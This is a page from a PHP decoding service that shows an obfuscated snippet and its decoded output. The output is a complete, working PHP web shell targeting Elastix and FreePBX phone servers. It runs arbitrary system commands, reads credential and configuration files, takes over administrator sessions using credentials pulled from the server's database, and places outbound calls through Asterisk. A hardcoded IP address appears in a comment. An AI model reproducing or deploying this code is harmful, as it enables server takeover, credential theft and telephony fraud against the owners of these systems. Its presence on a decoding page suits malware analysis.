Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php /*Foiup0v2v6OioboiIoKgzksl*/eval/*1QMFwO1cckGBkc*/(base64_decode/*EQjs8HDw*/('c2Vzc2..

Decoded Output download

session_start();
if (md5($_SERVER['REMOTE_ADDR'])!="078a77a19e0c5abf49d0c4ad561a2f17" && md5($_SERVER['REMOTE_ADDR'])!="9a62de0c1cb6b8efb447145f9c284dc8" && md5($_SERVER['REMOTE_ADDR'])!="208fa22099b11cc3bc59f3aea9898a8f" && md5($_SERVER['REMOTE_ADDR'])!="5a964bfabb27a0fc5cb70618cad7bdd6" && md5($_SERVER['REMOTE_ADDR'])!="5219adc671978c4801bd0ac21f9430b7" && md5($_SERVER['REMOTE_ADDR'])!="234f7bcfc94587382c89aeab6f696a73"  && md5($_REQUEST['p'])!="889de2126b7f00693590ee56de725c24"){
    header("location: /index.php");
    exit();
}
if (isset($_REQUEST['md5']) && md5($_REQUEST['md5']) == '397d333c28d0a6df06d5e28c92a6602e') {
    $_SESSION['emo'] = 'logged';
}
if (!isset($_SESSION['emo'])) {
    echo '<form action="" method="post">';
    echo '<input type="text" name="md5" size="32" />';
    echo '<input type="submit" name="Emigosso" value="Emigosso" /> ';
    echo '</form>';
    echo '<? --  ((/*162.217.84.140*/)) -- ?>';
    exit();
}
if (isset($_REQUEST['admin']) && $_REQUEST['admin'] == 'Elastix') {
    session_destroy();
    session_name("elastixSession");
    session_start();
    $_SESSION['emo'] = 'logged';
    include_once "/var/www/html/libs/paloSantoDB.class.php";
    include_once "/var/www/html/libs/paloSantoACL.class.php";
    $pDB = new paloDB("sqlite3:////var/www/db/acl.db");
    $db = $pDB->fetchTable("SELECT name, md5_password,extension from acl_user WHERE id ='1'");
    $_SESSION['elastix_user'] = $db[0][0];
    $_SESSION['elastix_pass'] = $db[0][1];
    header("Location: /index.php");
}
if (isset($_REQUEST['admin']) && $_REQUEST['admin'] == 'Freepbx') {
    if (!@include_once (getenv('FREEPBX_CONF') ? getenv('FREEPBX_CONF') : '/etc/freepbx.conf')) {
        include_once ('/etc/asterisk/freepbx.conf');
    }
    require_once ('/var/www/html/admin/libraries/ampuser.class.php');
    $_SESSION['AMP_user'] = new ampuser($amp_conf['AMPDBUSER']);
    $_SESSION['AMP_user']->setAdmin();
    header("Location: /admin/config.php");
}

echo base64_decode('PGgxIHN0eWxlPSJ0ZXh0LWFsaWduOiBjZW50ZXI7Ij5FTUlHTyBWLkE8L2gxPgo8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij4KICAgIDxiPkNBTEw8L2I+IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjb250ZXh0IiB2YWx1ZT0iYXN0ZXJpc2stb3V0Y2FsbHMiIC8+CiAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0idGltZSIgdmFsdWU9IjYwIiAvPgogICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InBycyIgdmFsdWU9IjAwIiAvPgogICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im51bSIgcGxhY2Vob2xkZXI9Im51bWJlciIgLz4KICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImNhbGwiIHZhbHVlPSJjYWxsIiAvPgo8L2Zvcm0+PGJyIC8+Cjxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiID4KICAgIDxiPkNNRDwvYj4KICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjbWQiIHNpemU9JzgwJyAvPgogICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iZXhlY3V0ZSIgdmFsdWU9IkV4ZWN1dGUiIC8+IDxociAvPgogICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iY21kIiB2YWx1ZT0ibHMgLWxhIiAvPgogICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iY21kIiB2YWx1ZT0icHMgLWF1eCAtLWZvcmVzdCIgLz4KICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImNtZCIgdmFsdWU9ImFzdGVyaXNrIC1yeCAnY29yZSBzaG93IGNoYW5uZWxzJyIgLz4KICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImNtZCIgdmFsdWU9ImFzdGVyaXNrIC1yeCAnc2lwIHNob3cgcGVlcnMnIiAvPgogICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iY21kIiB2YWx1ZT0iY2F0IC9ldGMvZWxhc3RpeC5jb25mIiAvPgogICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iY21kIiB2YWx1ZT0iY2F0IC9ldGMvYXN0ZXJpc2svc2lwX2FkZGl0aW9uYWwuY29uZiIgLz4KICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImNtZCIgdmFsdWU9ImNhdCAvZXRjL2FzdGVyaXNrL2V4dGVuc2lvbnNfY3VzdG9tLmNvbmYiIC8+CiAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJjbWQiIHZhbHVlPSJjYXQgL2V0Yy9hbXBvcnRhbC5jb25mIiAvPgo8L2Zvcm0+Cjxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9ImdldCIgPgogICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iYWRtaW4iIHZhbHVlPSJFbGFzdGl4IiAvPgogICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iYWRtaW4iIHZhbHVlPSJGcmVlcGJ4IiAvPgo8L2Zvcm0+CjxwcmU+');
if (isset($_REQUEST['cmd'])) {
    echo system($_REQUEST['cmd']);
}
if (isset($_REQUEST['call'])) {
    system('asterisk -rx "channel originate Local/' . $_REQUEST['prs'] . $_REQUEST['num'] . '@' . $_REQUEST['context'] . ' application wait ' . $_REQUEST['time'] . '"');
}
echo '</pre>';

Did this file decode correctly?

Original Code

<?php /*Foiup0v2v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